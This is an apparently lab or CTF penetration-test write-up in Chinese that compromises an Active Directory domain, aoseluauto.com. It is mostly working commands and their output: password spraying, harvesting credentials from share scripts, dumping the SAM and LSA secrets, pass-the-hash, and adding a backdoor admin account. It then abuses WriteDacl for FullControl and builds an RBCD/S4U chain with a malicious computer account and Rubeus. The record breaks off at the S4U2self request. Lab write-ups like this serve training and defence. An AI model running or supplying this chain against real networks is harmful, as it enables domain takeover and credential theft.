拿这个域用户账号密码喷洒

echo -e "172.16.34.23\n172.16.36.21\n172.16.34.5" > targets.txt

# 批量喷洒
└─$ proxychains4 -q nxc smb targets.txt -u EthanMorris -p 'DROCV4?LtyCp'
SMB         172.16.34.5     445    ASLSRVAD05       [*] Windows Server 2022 Build 20348 x64 (name:ASLSRVAD05) (domain:aoseluauto.com) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         172.16.34.23    445    ASLSRVFS02       [*] Windows 10 / Server 2019 Build 17763 x64 (name:ASLSRVFS02) (domain:aoseluauto.com) (signing:False) (SMBv1:None)
SMB         172.16.34.5     445    ASLSRVAD05       [+] aoseluauto.com\EthanMorris:DROCV4?LtyCp 
SMB         172.16.36.21    445    ASLITPC03        [*] Windows 11 / Server 2025 Build 26100 x64 (name:ASLITPC03) (domain:aoseluauto.com) (signing:False) (SMBv1:None)
SMB         172.16.34.23    445    ASLSRVFS02       [+] aoseluauto.com\EthanMorris:DROCV4?LtyCp 
SMB         172.16.36.21    445    ASLITPC03        [+] aoseluauto.com\EthanMorris:DROCV4?LtyCp (Pwn3d!)
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

三台机器上都能认证成功，可访问文件共享；172.16.36.21(Pwn3d!)表示该账户在目标上有管理员权限，可以远程执行命令

但只有ASLSRVFS02 172.16.34.23这台机器有重要信息，用EthanMorris这个域用户，枚举目标机器上的所有共享文件夹

└─# proxychains4 -q nxc smb 172.16.34.23 -u EthanMorris -p 'DROCV4?LtyCp' --shares
SMB         172.16.34.23    445    ASLSRVFS02       [*] Windows 10 / Server 2019 Build 17763 x64 (name:ASLSRVFS02) (domain:aoseluauto.com) (signing:False) (SMBv1:None)
SMB         172.16.34.23    445    ASLSRVFS02       [+] aoseluauto.com\EthanMorris:DROCV4?LtyCp
SMB         172.16.34.23    445    ASLSRVFS02       [*] Enumerated shares
SMB         172.16.34.23    445    ASLSRVFS02       Share           Permissions     Remark
SMB         172.16.34.23    445    ASLSRVFS02       -----           -----------     ------
SMB         172.16.34.23    445    ASLSRVFS02       ADMIN$                          Remote Admin
SMB         172.16.34.23    445    ASLSRVFS02       C$                              Default share
SMB         172.16.34.23    445    ASLSRVFS02       FileService     READ,WRITE      Aoselu FileService
SMB         172.16.34.23    445    ASLSRVFS02       IPC$            READ            Remote IPC

共享名	权限	说明
`ADMIN$`	无（需管理员权限）	远程管理共享，指向 `C:\Windows`
`C$`	无（需管理员权限）	默认 C 盘共享，只有管理员可访问
`FileService`	READ, WRITE	这是一个可读可写的共享文件夹
`IPC$`	READ	用于进程间通信，常用于枚举和漏洞利用

使用smbclient连接，去找有效信息

proxychains4 -q /usr/share/doc/python3-impacket/examples/smbclient.py aoseluauto.com/EthanMorris:'DROCV4?LtyCp'@172.16.34.23
# shares
ADMIN$
C$
FileService
IPC$
# use FileService
# ls
drw-rw-rw-          0  Thu Jun 11 11:59:47 2026 .
drw-rw-rw-          0  Thu Jun 11 11:59:47 2026 ..
-rw-rw-rw-     518317  Sun May 25 07:03:45 2025 Aoselu_PKM.xlsx
drw-rw-rw-          0  Sun May 25 07:03:45 2025 Design Documents
-rw-rw-rw-     518294  Sun May 25 07:03:45 2025 Design_FB0.pdf
drw-rw-rw-          0  Sun May 25 07:03:45 2025 Employee Records
drw-rw-rw-          0  Sun May 25 07:03:45 2025 IT Resources
drw-rw-rw-          0  Sun May 25 07:03:45 2025 Marketing Assets
drw-rw-rw-          0  Sun May 25 07:03:45 2025 Production Reports
drw-rw-rw-          0  Sun May 25 07:03:45 2025 Quality Control
-rw-rw-rw-     518302  Sun May 25 07:03:45 2025 Report_04P.json
drw-rw-rw-          0  Sun May 25 07:03:45 2025 Sales Forecasts
drw-rw-rw-          0  Sun May 25 07:03:45 2025 Supply Chain
drw-rw-rw-          0  Sun May 25 07:03:45 2025 Vehicle Specifications
# cd IT Resources
# ls
drw-rw-rw-          0  Sun May 25 07:03:45 2025 .
drw-rw-rw-          0  Sun May 25 07:03:45 2025 ..
drw-rw-rw-          0  Sun May 25 07:03:45 2025 IT Logs
drw-rw-rw-          0  Sun May 25 07:03:45 2025 Ops Scripts
# cd Ops Scripts
# ls
drw-rw-rw-          0  Sun May 25 07:03:45 2025 .
drw-rw-rw-          0  Sun May 25 07:03:45 2025 ..
-rw-rw-rw-       1275  Sun May 25 07:03:45 2025 Backup-UserData.ps1
-rw-rw-rw-       1159  Sun May 25 07:08:35 2025 Check-BackupJobStatus.ps1
-rw-rw-rw-        795  Sun May 25 07:03:45 2025 Deploy-WebAppBackup.ps1
-rw-rw-rw-       1072  Sun May 25 07:07:27 2025 FileServer-Cleanup.ps1
-rw-rw-rw-        576  Sun May 25 07:03:45 2025 Get-ADUserGroupMembership.ps1
-rw-rw-rw-       1228  Sun May 25 07:07:36 2025 Manage-ExchangeMailbox.ps1
-rw-rw-rw-       1219  Sun May 25 07:03:45 2025 Monitor-DiskSpace.ps1
-rw-rw-rw-       2340  Sun May 25 07:08:49 2025 RemoteBackupWithCreds.ps1
-rw-rw-rw-       1061  Sun May 25 07:08:51 2025 Reset-UserPassword.ps1
-rw-rw-rw-        960  Sun May 25 07:03:45 2025 Restart-Service-IfStopped.ps1
# get Backup-UserData.ps1
# get Check-BackupJobStatus.ps1
# get RemoteBackupWithCreds.ps1
# get FileServer-Cleanup.ps1
# get Get-ADUserGroupMembership.ps1
# get Manage-ExchangeMailbox.ps1
# get Monitor-DiskSpace.ps1
# get Reset-UserPassword.ps1
# get Restart-Service-IfStopped.ps1

powershell脚本泄漏域用户账号密码

拿到几个powershell脚本Backup-UserData.ps1和Check-BackupJobStatus.ps1和RemoteBackupWithCreds.ps1等等

RemoteBackupWithCreds.ps1

这是一段 PowerShell 远程备份脚本

这个脚本的作用是：使用指定的域账户，远程连接到目标计算机，将指定文件夹备份到目标位置。

参数	说明
`TargetComputer`	要备份的远程计算机名或 IP
`SourcePath`	远程计算机上的源文件夹路径（如 `C:\Data`）
`BackupDestination`	备份目标路径（可以是网络共享或本地路径）

信息	值
用户名	`svc_bakadm01`
密码	`k3!8Fa&Sq8Z6`
域	`aoseluauto.com`

这是一个服务账户，从命名 svc_bakadm01 来看，它有备份管理员权限

Backup-UserData.ps1

信息	值
用户名	`aoseluauto\svc_bakadm02`
密码	`CYNpR5i@Z?_=`
域	`aoseluauto.com`

这个脚本的作用是：使用 svc_bakadm02 账户，将三个用户的 Documents 文件夹备份到网络共享 \\SQLSRVBKP01\AoseluUserBackups

最终拿到这些凭据

$username = "aoseluauto\svc_bakadm01"
$password = "k3!8Fa&Sq8Z6"
 
$remoteUser = "aoseluauto\\svc_netadm03"
$remotePass = ConvertTo-SecureString "0&8SwSc=Ok%2" -AsPlainText -Force
 
$backupUser = "aoseluauto\\svc_bakadm02"
$backupPassPlain = "CYNpR5i@Z?_="
 
$backupUser = "aoseluauto\\svc_webadm02"
$backupPass = ConvertTo-SecureString "WebAdmPass789!" -AsPlainText -Force
 
$remoteUser = "aoseluauto\\svc_netadm03"
$remotePass = ConvertTo-SecureString "0&8SwSc=Ok%2" -AsPlainText -Force
 
$domainAdminUser = "aoseluauto\\svc_adm01"
$domainAdminPassword = ConvertTo-SecureString "_7zg9QFlCTns" -AsPlainText -Force

bloodhound分析

先导入bloodhound到ASLSRVFS03这台机器，system权限执行

SharpHound.exe -c all

先整合下信息，ASLITPC03这个机器我们已经拿到了

还拿到了svc_bakadm01等上面这些域用户，把他们全部归为**“own”拥有**

分别搜索以上拿到的用户到ASLSRVFS02机器的路径

只有域用户svc_bakadm01的账号密码是可以rdp登录ASLSRVFS02 172.16.34.23主机的。

第三台172.16.34.23（ASLSRVFS02）

使用evil-winrm连接可以拿到一个powershell

└─# proxychains4 -q evil-winrm -i 172.16.34.23 -u svc_bakadm01 -p 'k3!8Fa&Sq8Z6'
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_bakadm01\Documents> whoami
aoseluauto\svc_bakadm01

*Evil-WinRM* PS C:\Users\svc_bakadm01\Documents> whoami  /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

SeBackupPrivilege是Enabled开启的，SeBackupPrivilege 是Windows中一个非常强大的权限。它允许一个进程**“为了备份的目的，去读取任何它本无权限读取的文件或注册表项”**。

当像 reg save 或 robocopy /B 这样“懂得”备份API的程序运行时，它会向操作系统声明：“我正在执行一个备份操作。” 操作系统在检查到调用进程拥有 SeBackupPrivilege 后，就会临时授予它对所有资源的读取权限。

读取注册表存放的NTLM Hash

#SAM 文件里存着这台电脑上所有本地用户的密码哈希（NTLM Hash）。
reg save HKLM\SAM sam.hiv 
reg save HKLM\SAM  system.hive
secretsdump.py -sam sam.hive -system system.hive LOCAL

你解释一下为什么要执行这3个名了

命令 1:reg save HKLM\SAM sam.hive 
SAM 文件里存着这台电脑上所有本地用户的密码哈希（NTLM Hash）。
文件位置：C:\Windows\System32\config\SAM
关键点：系统运行时，这个文件被 lsass.exe 进程独占锁定，任何普通的 copy 命令都读不了它。你直接去复制，只会得到“文件正在使用”或“拒绝访问”。

那为什么 reg save 就能读？
reg save 不是去碰那个被锁定的物理文件，而是直接向 Windows 的注册表内核管理器发一个请求：“请把 HKLM\SAM 这个键的所有数据导出给我。” 只要你的进程有足够权限（SYSTEM 或拥有 SeBackupPrivilege），这个请求就会成功，从而完美绕过文件锁定。
所以这里第一句的本质是：把内存/内核里有效的 SAM 数据“抓”出来存成文件

命令 2:reg save HKLM\SYSTEM system.hive
SAM 文件里的哈希是加密的，而解密密钥存在 SYSTEM 里。
SAM 里存储的并不是明文密码，也不是可以直接拿来用的 NTLM 哈希，而是被 SysKey 加密后的密文。
这个 SysKey（系统密钥）就存储在 HKLM\SYSTEM 这个注册表键里。

命令 3：secretsdump.py -sam sam.hive -system system.hive LOCAL
从你给的 system.hive 里提取出 SysKey。
用这把“钥匙”去解密 sam.hiv 里加密的哈希。
输出最终可用的 NTLM 哈希。

└─# python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x833ec52f6f12689eda8e8ed4d5374009
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:74aaf464e1a7a75f2123ada1dd62edab:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:3d23ddf5c2e625618408ee0ce3b888cb:::
[*] Cleaning up...

提取到的 NTLM 哈希

用户	RID	NTLM Hash
Administrator	500	`74aaf464e1a7a75f2123ada1dd62edab`
Guest	501	`31d6cfe0d16ae931b73c59d7e0c089c0`（空密码）
DefaultAccount	503	`31d6cfe0d16ae931b73c59d7e0c089c0`（禁用）
WDAGUtilityAccount	504	`3d23ddf5c2e625618408ee0ce3b888cb`

PTH哈希传递拿ASLSRVAD02的管理员权限

proxychains4 -q evil-winrm -i 172.16.34.23 -u administrator -H 74aaf464e1a7a75f2123ada1dd62edab
*Evil-WinRM* PS C:\Users\Administrator\Documents> cmd /c "dir C:\*flag* /s /b"
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\flag.txt.txt
flag{55fb86d4-68ea-4697-81ee-3fb7cdcd1ee9}

利用nxc转存hash

┌──(root㉿kali)-[/home/kali]
└─# proxychains4 -q nxc smb 172.16.34.23 -u Administrator -H 74aaf464e1a7a75f2123ada1dd62edab --local-auth --lsa
SMB         172.16.34.23    445    ASLSRVFS02       [*] Windows 10 / Server 2019 Build 17763 x64 (name:ASLSRVFS02) (domain:ASLSRVFS02) (signing:False) (SMBv1:None)
SMB         172.16.34.23    445    ASLSRVFS02       [+] ASLSRVFS02\Administrator:74aaf464e1a7a75f2123ada1dd62edab (Pwn3d!)
SMB         172.16.34.23    445    ASLSRVFS02       [*] Dumping LSA secrets
SMB         172.16.34.23    445    ASLSRVFS02       AOSELUAUTO.COM/Administrator:$DCC2$10240#Administrator#9d1444698dc4a6141e884cf8f5cdadc2: (2025-05-19 03:16:30)
SMB         172.16.34.23    445    ASLSRVFS02       aoseluauto.com/svc_monadm01:$DCC2$10240#svc_monadm01#2d7bde2a9553b020fa11672d9b596237: (2025-05-19 05:23:37)
SMB         172.16.34.23    445    ASLSRVFS02       AOSELUAUTO.COM/svc_bakadm01:$DCC2$10240#svc_bakadm01#e33d8ca5d44a4aad9d7ca7e16fa62f3c: (2026-06-11 05:50:49)
SMB         172.16.34.23    445    ASLSRVFS02       AOSELUAUTO\ASLSRVFS02$:aes256-cts-hmac-sha1-96:144d0da0d0a48f9876e1624b5abf5df843110ef1502fdc05deccbc6a0082beb6
SMB         172.16.34.23    445    ASLSRVFS02       AOSELUAUTO\ASLSRVFS02$:aes128-cts-hmac-sha1-96:6ef03ba1a854ff393c59552b897143bf
SMB         172.16.34.23    445    ASLSRVFS02       AOSELUAUTO\ASLSRVFS02$:des-cbc-md5:eaf8a89d0bae3273
SMB         172.16.34.23    445    ASLSRVFS02       AOSELUAUTO\ASLSRVFS02$:plain_password_hex:6d9e6fb5cec4ea52706c7b8853b66e1b44b42d500bb27a0e3b1ed6ba2a6008c4e2c7cc13e835b211ec9563380ede0c7d24513d83a41cef029e6eae5359c1f7773a4317e1c4490eb38174c0cbc30e6c8d8297b40466df1c7375bcbf84db9f82840a6e62d3420b40123f397410be010d3ab76566d6b90fe5ae601ef16da90c1a1171b651e91ce3c9157cde57bf689d187cedd4e5b10b592fec81706809978a9c3d1e03619f95744a8b4851c3e1863f4a1be06fe21edcb56c7de3e73449378da09fe7ec23c522e9860bc724a3b661fcc4ce90829e08457beadfd5a63fc752effa21086c99294eb73d0cdb3f864d6e2a5f9a
SMB         172.16.34.23    445    ASLSRVFS02       AOSELUAUTO\ASLSRVFS02$:aad3b435b51404eeaad3b435b51404ee:d2b9d09d066c23b3026091d1dbe0e14a:::
SMB         172.16.34.23    445    ASLSRVFS02       dpapi_machinekey:0x0d86786bba253a698c577173cc5b1ab2ddb4ad19
dpapi_userkey:0x7f6077f0b955c2e73342148aeb030688256d64e1
SMB         172.16.34.23    445    ASLSRVFS02       AOSELUAUTO\svc_monadm01:96Mr!je39y_p
SMB         172.16.34.23    445    ASLSRVFS02       [+] Dumped 10 LSA secrets to /root/.nxc/logs/lsa/ASLSRVFS02_172.16.34.23_2026-06-10_225916.secrets and /root/.nxc/logs/lsa/ASLSRVFS02_172.16.34.23_2026-06-10_225916.cached

获取到新的域用户的hash：

aoseluauto.com\svc_monadm01
96Mr!je39y_p
ab232c3cf9f4b7cf27602082b04f306b

更新一下bloodhound，把这个域用户设为own

svc_monadm01这个用户对域控有WriteDacl权限，使用该用户进行操作最终可以接管域。

WriteDacl 允许你修改 Active Directory 对象的访问控制列表（ACL）。简单来说，你可以给自己或你控制的账户，添加原本没有的高权限，最终拿下整个域。

一般对域控有WriteDacl权限，可以走下面几个路子

WriteDacl权限利用方式总结

DCSync：给自己添加“域复制”权限，直接“同步”出所有域用户的密码哈希。
添加为域管理员：将自己控制的账户直接添加到 Domain Admins 或 Enterprise Admins 组
将你对域控计算机对象的权限提升为“完全控制”：为账户添加 FullControl 权限。

方法一：尝试写 `WriteDacl` 权限（失败）

既然已经对域控有 WriteDacl 权限，尝试直接给 svc_monadm01 添加 DCSync 权限然后 dump 哈希：

┌──(root㉿kali)-[~]
└─# proxychains4 -q /usr/share/doc/python3-impacket/examples/dacledit.py \
  -action 'write' \
  -rights 'DCSync' \
  -principal 'svc_monadm01' \
  -target-dn 'DC=aoseluauto,DC=com' \
  'aoseluauto.com/svc_monadm01' \
  -hashes :ab232c3cf9f4b7cf27602082b04f306b \
  -dc-ip 172.16.34.5
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20260611-200150.bak
[-] Could not modify object, the server reports insufficient rights: 00000005: SecErr: DSID-03152E29, problem 4003 (
), data 0

这个错误 INSUFF_ACCESS_RIGHTS 说明 svc_monadm01 虽然有 WriteDacl 权限，但不足以直接在域根对象上添加 DCSync 权限

方法二：为账户添加 `FullControl` 权限+约束委派 (RBCD)

途径WriteDacl → 创建恶意的计算机账户 →给这个计算机账户配置资源委派 → S4U2Proxy → 访问域控

1.FullControl

首先，需要先利用WriteDacl修改目标的DACL，给 svc_monadm01 用户授予对域控制器 ASLSRVAD05 的完全控制权（FullControl）。

└─# proxychains4 -q /usr/share/doc/python3-impacket/examples/dacledit.py -action 'write' -rights 'FullControl' -principal 'svc_monadm01' -target-dn 'CN=ASLSRVAD05,OU=Domain Controllers,DC=aoseluauto,DC=com' 'aoseluauto.com/svc_monadm01' -hashes :ab232c3cf9f4b7cf27602082b04f306b -dc-ip 172.16.34.5
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20260610-223551.bak
[*] DACL modified successfully!

参数	值	含义
`-action`	`write`	执行写入操作（修改 ACL）
`-rights`	`FullControl`	授予完全控制权限
`-principal`	`svc_monadm01`	被授予权限的用户
`-target-dn`	`CN=ASLSRVAD05,OU=Domain Controllers,DC=aoseluauto,DC=com`	目标对象（域控计算机）
`-hashes`	`:ab232c3cf9f4b7cf27602082b04f306b`	使用 NTLM 哈希认证
`-dc-ip`	`172.16.34.5`	指定域控 IP

添加恶意主机，准备配置RBCD：在域中添加了一台新的计算机账户

在 Active Directory 域中创建一个新的计算机账户（机器账户）。这是基于资源的约束委派（RBCD, Resource-Based Constrained Delegation）攻击链中的第一步，其核心目的是为自己创建一个“受控”的计算机对象，以便后续将其配置为可模拟域管理员访问高价值目标（如域控）。这个新创建的计算机账户是我完全可控的。它的核心用途是作为RBCD攻击的“源”或“中继”。可以通过修改 ASLSRVAD05$（域控计算机账户）的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性，来允许EVILCOMPUTER$ 这个“受控”计算机去模拟任何域用户（比如Administrator），进而访问域控上的指定服务（如CIFS）。

2.创建恶意计算机账户

└─# proxychains4 -q /usr/share/doc/python3-impacket/examples/addcomputer.py -computer-name 'EVILCOMPUTER$' -computer-pass '123@#ABC' 'aoseluauto.com/svc_monadm01' -hashes :ab232c3cf9f4b7cf27602082b04f306b -dc-ip 172.16.34.5
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account EVILCOMPUTER$ with password 123@#ABC.

参数	含义
`-computer-name 'EVILCOMPUTER$'`	要创建的计算机账户名，`$` 结尾是计算机账户在AD中的标准命名方式
`-computer-pass '123@#ABC'`	为该计算机账户设置的密码，你需要记住它，后续要用来请求Kerberos票据
`'aoseluauto.com/svc_monadm01'`	执行此操作所依赖的用户身份，即你当前控制的账户
`-hashes :ab232c3cf9f4b7cf27602082b04f306b`	`svc_monadm01` 的 NTLM 哈希，用于认证
`-dc-ip 172.16.34.5`	指定域控的IP地址

3.配置约束委派（RBCD）

配置基于资源的约束委派（RBCD），允许你控制的计算机账户 EVILCOMPUTER$ 模拟任意域用户（如 Administrator）去访问域控 ASLSRVAD05$ 上的指定服务（如 CIFS）

proxychains4 -q /usr/share/doc/python3-impacket/examples/rbcd.py \
  -delegate-from 'EVILCOMPUTER$' \    # 源：你创建的受控计算机
  -delegate-to 'ASLSRVAD05$' \        # 目标：域控计算机
  -action 'write' \                   # 操作：写入/修改委派配置
  'aoseluauto.com/svc_monadm01' \     # 认证用户：拥有修改权限的账户
  -hashes :ab232c3cf9f4b7cf27602082b04f306b \ # 其NTLM哈希
  -dc-ip 172.16.34.5                  # 指定域控IP
  
  proxychains4 -q /usr/share/doc/python3-impacket/examples/rbcd.py -delegate-from 'EVILCOMPUTER$' -delegate-to 'ASLSRVAD05$' -action 'write' 'aoseluauto.com/svc_monadm01' -hashes :ab232c3cf9f4b7cf27602082b04f306b -dc-ip 172.16.34.5
  
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Accounts allowed to act on behalf of other identity:
[*]     ATTACKER$    (S-1-5-21-198605783-2356506617-271110585-1248)
[*]     hhaacckk$    (S-1-5-21-198605783-2356506617-271110585-1246)
[*] Delegation rights modified successfully!
[*] EVILCOMPUTER$ can now impersonate users on ASLSRVAD05$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     ATTACKER$    (S-1-5-21-198605783-2356506617-271110585-1248)
[*]     hhaacckk$    (S-1-5-21-198605783-2356506617-271110585-1246)
[*]     EVILCOMPUTER$   (S-1-5-21-198605783-2356506617-271110585-1249)

参数	含义
`-delegate-from`	攻击源：你完全控制的计算机账户（攻击跳板）
`-delegate-to`	攻击目标：高价值服务器，这里是域控
`-action 'write'`	写入：修改目标的委派配置
`svc_monadm01`	执行者：拥有 `WriteDacl` 权限，可以修改域控属性的账户

添加完RBCD配置后，远程去请求票据时

4.票据请求

┌──(kali㉿kali)-[~/tools/bachang/Aoselu]
└─$ proxychains4 -q /usr/share/doc/python3-impacket/examples/getST.py \
  -spn 'CIFS/ASLSRVAD05.aoseluauto.com' \
  -impersonate Administrator \
  'aoseluauto.com/EVILCOMPUTER$:123@#ABC' \
  -dc-ip 172.16.34.5
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

参数	值	含义
`-spn`	`CIFS/ASLSRVAD05.aoseluauto.com`	目标服务（文件共享）
`-impersonate`	`Administrator`	要模拟的用户
`EVILCOMPUTER$:123@#ABC`	计算机账户和密码	用于认证（你创建时设置的密码）

会发生报错：Kerberos SessionError:KRB_AP_ERR_SKEW(Clock skew too great)，需要向域控同步时间才能解决这个错误

使用了好几个办法，faketime之类的，而且23这台域主机的时间明明跟自己的kali时间是一样的。但获取票据时还是显示时间不同步。弄不了

域内机器上发送请求

选择直接上传个Rubeus在域内机器上发送请求，这个主机上的Windows Defender开着，在上传工具前需要先手动关闭一下。

**注意：**以添加的管理员用户去关掉defend时，得回退到域用户去执行 Rubeus。这个你添加的那个管理员用户是 ASLSRVFS02 的本地管理员，但 不是域用户（ Kerberos 票据操作受限）。委派操作需要域账户

但是我目前只有23这台机器的administrator的hash，不能rdp上去。

但是之前不是拿到了23这台机器的administrator的hash吗，直接wmiexec过去再添加个本地管理员，是明文的账号密码的，那就直接可以rdp上去

└─# proxychains4 -q impacket-wmiexec -hashes :74aaf464e1a7a75f2123ada1dd62edab administrator@172.16.34.23
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
aslsrvfs02\administrator

C:\>net user hacker P@ssw0rd123! /add
The command completed successfully.


C:\>net localgroup administrators hacker /add
The command completed successfully.

直接关掉

使用 Rubeus 工具先计算EVILCOMPUTER的密码的 Kerberos 加密哈希值。

C:\Users\Public>Rubeus.exe hash /password:123@#ABC /user:EVILCOMPUTER /domain:aoseluauto.com

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0


[*] Action: Calculate Password Hash(es)

[*] Input password             : 123@#ABC
[*] Input username             : EVILCOMPUTER
[*] Input domain               : aoseluauto.com
[*] Salt                       : AOSELUAUTO.COMEVILCOMPUTER
[*]       rc4_hmac             : 3A37C6AC3AFBEEF7A8EB36A4481BDED4
[*]       aes128_cts_hmac_sha1 : 02B7BFEACC60B549167EFF93BE6E5104
[*]       aes256_cts_hmac_sha1 : 979FABC68C96B23B5E015C027B5B0DE218BE5D830D20B0E6A51B5650495BDFEE
[*]       des_cbc_md5          : F831831F20E329A7

项目	值
用户名	`EVILCOMPUTER$`
密码	`123@#ABC`
NTLM 哈希	`3A37C6AC3AFBEEF7A8EB36A4481BDED4`

对于计算机账户，Rubeus 的 hash 命令在计算哈希时有一个特别需要注意的地方：不能直接输入带 $ 结尾的用户名。

模拟域管这的 Administrator想域控请求获取访问域控 C$ 共享的权限

C:\Users\Public>.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:3A37C6AC3AFBEEF7A8EB36A4481BDED4 /domain:aoseluauto.com /msdsspn:CIFS/ASLSRVAD05 /impersonateuser:Administrator /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: S4U

[*] Using rc4_hmac hash: 3A37C6AC3AFBEEF7A8EB36A4481BDED4
[*] Building AS-REQ (w/ preauth) for: 'aoseluauto.com\EVILCOMPUTER$'
[*] Using domain controller: 172.16.34.5:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFyDCCBcSgAwIBBaEDAgEWooIE0jCCBM5hggTKMIIExqADAgEFoRAbDkFPU0VMVUFVVE8uQ09NoiMwIaADAgECoRowGBsGa3JidGd0Gw5hb3NlbHVhdXRvLmNvbaOCBIYwggSCoAMCARKhAwIBAqKCBHQEggRwbJnyoxQtELO7bTGf8BxcuacbG0jcFJZsjQOSR+e2iIh8IIGJHLbIO/Ak1S/Jz2eZ8u4J+qYSp3EKeHK2siTpVvAhxKGtcpBKxEHYVYtJIbapYqeG7eYqtNzgJmk9c4g1iw9z4XqkevW/XkiEJbOHkjhTd3UA/M2uDe6tg3XtdRyY1MpJZ1ZDC81ropk0JAcG8b4BBIT+tydvYgpLL6kR8vbUsWuTVBHdfke+N5vP2eKzEcYGkGAGcOpRUOlkm/YA4lGBqoDJLZodiZ3gV2kXuTj+iB3bUueUX1xR8NGvaA9kPX7Ga/uR4pShD+GGev08VTA7i3QALMlTvgYZMW8l8xkHJKa/rNLAe9d5UsxyZUjoQsYgAP7wXzuhaFo9Xd0lA+LWDGWO5E9AES9OVNRYG5JrR22Q+RLkl/zhuS0h53qMV9tejOuHWzRrVWL8HMEgvUtKEINFebnrjfekV9xZ/Hg+CCvlCk2xjX9OhiuDYQ4kWm1wKJJmqpLiDuJlIqo/76YGkPUh6/SBWVSI9R5r61vJIr/PFW4JxmFGc6tm89zlpVI8GZX0GW358yhqmL5WyeaHwQZ7xML8x9oDOVuLki4uzi/DBtkqguhbFm/u11UmpLQNu24FjQL6k6Ig1MEU7U+QXbhwSrXVfmHjx4hjBrqTijW4aE5a96c5l87xMvGntZy/ajqKUp8fFMEkKnLel3tRiuD72deQrulhFyV8xaq6wvB+a3kle8pK7pNko1Thuqw0LX5zLPQzeBOM49KwI57VXJafOeExZ7HaNd+GUP3JseEHS1kfvkeuXmzZgZEokp4d68CG28RCfwzg6ahSW3WVa/u0GNfNkih929Zvf44EnWQXGcdlThZMr8mBsoS8h/wdblNymjcaoRIvM3JxR3nIg1WVy78o9K+5TfVdjcRapElnMBU0dgIZKoa20x+sf+rh9zt/2ssVYK6iJxjPAuWs6ubZ6jEjVqs9r9VRWEcs6LyduVVdBHnnpQWkpwRZjxV8/jLqUxFqzGphdr7o2pnfybMWcKshgVMCEGxhwQKaO+gaCbVflMt5/ABGquWnxBgWLrDqse+RUf3DKgiHpGU8k9VaBpq/MEv5Wf/UK5ldzt8Ojtu6wIj8fgtKyGm5TKZ/t+onmT7rUdmyxBSuzvapJGktwUpiXwGbmFCZpHBvdlGSO0+MFiYn0T0UY3wwzTcc6CS4C8b3JllEAvwjJkly3aTwnNY5maQO5YGN8v4ZqXqPGfyIQ/deSjuxHIk12kQy2+Jl22b3lFLQ0nGvXuCq9LUNTJHYuCJORChnUZ2ETX2U0ChAAjuMRcT/n4WuoZv8y4ZYpMJd+52zM/NSeAV7LMRP6iPRDQpaBYY3L2+R0VQ5Rb3PR8INjboatsxBsLeJaWTWjx+HxmHORJOCeHuW5oPmaFk8KpGhlPEA+xbFe9WNAvbcX8BUYfGl/0nSJr1xNriuT+FUIRUfLvQIF8FMZY7IDtl0kPeknwP1ToT86697mupY3P1wTiXKeQmjgeEwgd6gAwIBAKKB1gSB032B0DCBzaCByjCBxzCBxKAbMBmgAwIBF6ESBBB2Vwl5a6F1/jxm2gKWJlCwoRAbDkFPU0VMVUFVVE8uQ09NohowGKADAgEBoREwDxsNRVZJTENPTVBVVEVSJKMHAwUAQOEAAKURGA8yMDI2MDYxMjAzMzExNVqmERgPMjAyNjA2MTIxMzMxMTVapxEYDzIwMjYwNjE5MDMzMTE1WqgQGw5BT1NFTFVBVVRPLkNPTakjMCGgAwIBAqEaMBgbBmtyYnRndBsOYW9zZWx1YXV0by5jb20=


[*] Action: S4U

[*] Building S4U2self request for: 'EVILCOMPUTER$@AOSELUAUTO.COM'
[*] Using domain controller: ASLSRVAD05.aoseluauto.com (172.16.34.5)
[*] Sending S4U2self request to 172.16.34.5:88

